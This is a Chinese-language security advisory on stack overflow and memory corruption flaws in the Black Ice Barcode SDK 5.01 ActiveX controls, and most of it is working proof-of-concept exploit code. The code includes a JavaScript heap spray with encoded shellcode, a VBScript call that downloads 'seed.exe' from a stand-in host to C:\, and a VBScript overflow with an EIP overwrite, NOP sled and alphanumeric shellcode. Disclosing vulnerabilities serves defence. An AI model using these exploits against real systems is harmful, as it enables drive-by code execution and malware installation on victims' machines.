Black Ice多个ActiveX控件栈溢出及内存破坏漏洞
Black Ice多个ActiveX控件栈溢出及内存破坏漏洞--------------------------------------------------------------------------------
受影响系统:
Black Ice Barcode SDK 5.01
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 29579
Black Ice Barcode SDK工具包提供各种1D和2D条码功能函数库。
Black Ice Barcode SDK所提供的多个ActiveX控件中存在安全漏洞,如果用户受骗访问了恶意网页的话,就可能导致执行任意代码或向系统中的任意位置写入文件。
1) BIDIB.BIDIBCtrl.1 ActiveX控件(BIDIB.ocx)没有安全的调用DownloadImageFileURL()方式,可能导致向系统的任意位置下载任意文件,或通过超长参数触发内存破坏。
2) BITIFF.BITiffCtrl.1 ActiveX控件(BITiff.ocx)在处理SetByteOrder()方式时存在栈溢出漏洞,可能导致执行任意指令。
<*来源:shinnai ([email]shinnai@autistici.org[/email])
链接:[url]http://secunia.com/advisories/30548/[/url]
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<object id=boom classid="clsid:2324B5B7-D3EF-464C-BB35-06EFF8F11EB3"></object>
<input language=JavaScript onclick=tryMe() type=button value="Launch Exploit">
<script>
var shellcode = unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
var heapSprayToAddress = 0x0c0c0c0c;
function tryMe()
{
var size_buff = 1200;
var x = unescape("%0c%0c%0c%0c");
while (x.length<size_buff) x += x;
x = x.substring(0,size_buff);
boom.SetByteOrder(x, 1);
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return (spraySlide);
}
var heapBlockSize = 0x100000;
var SizeOfHeapDataMoreover = 0x5;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}
</script>
<object classid='clsid:D2797899-BE27-4CDB-892F-4FDC26EA9BA9' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the arbitrary file download test'>
<input language=VBScript onclick=MemoryCorruption() type=button value='Click here to start the memory corruption test'>
<script language='vbscript'>
Sub tryMe
test.DownloadImageFileURL "http://somesite.com/seed.exe", "C:\seed.exe"
End Sub
</script>
<script language='vbscript'>
Sub MemoryCorruption
buff_0 = String(2068, "A")
buff_1 = String(2068, "B")
test.DownloadImageFileURL buff_0, buff_1
End Sub
</script>
<object classid='clsid:2324B5B7-D3EF-464C-BB35-06EFF8F11EB3' id='test'></object>
<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
<script language='vbscript'>
Sub tryMe
buff = String(260, "A")
get_EIP = unescape("%EB%BA%3F%7E")
nop = String(12, unescape("%90"))
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
egg = buff + get_EIP + nop + shellcode + nop
test.SetByteOrder egg, 1
End Sub
</script>
建议:
--------------------------------------------------------------------------------
厂商补丁:
Black Ice
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
[url]http://www.blackice.com/barcode.htm[/url]
页:
[1]